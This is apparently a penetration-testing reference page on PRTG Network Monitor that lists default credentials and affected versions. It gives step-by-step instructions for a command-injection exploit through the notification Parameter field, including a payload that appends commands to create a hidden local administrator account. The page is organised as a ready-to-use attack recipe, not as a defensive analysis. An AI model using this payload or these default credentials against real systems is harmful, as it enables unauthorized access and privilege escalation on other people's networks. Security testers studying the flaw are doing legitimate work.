PRTG Network Monitor
Last updated
Last updated
Network monitor software, prevalent in
internal networks
Typical ports:
80
,443
,8080
Default credentials:
prtgadmin:prtgadmin
Affected versions: versions prior to 18.2.39
Resources: and
Description: When creating a new notification, the Parameter field is passed directly into a PowerShell script without any type of input sanitization
Steps to reproduce:
Login
β Setup
β Account Settings menu
β Notifications
β Add new notification
Give the notification a name
Scroll down and tick the box next to EXECUTE PROGRAM
Under Program File
, select Demo exe notification - outfile.ps1
from the drop-down.
In the parameter field
, enter a command.
Example - add a new local admin user:
test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add
After clicking Save
, we will be redirected to the Notifications page and see our new notification named pwn in the list.
Click on Test
or Run
to xecute the notification and run the command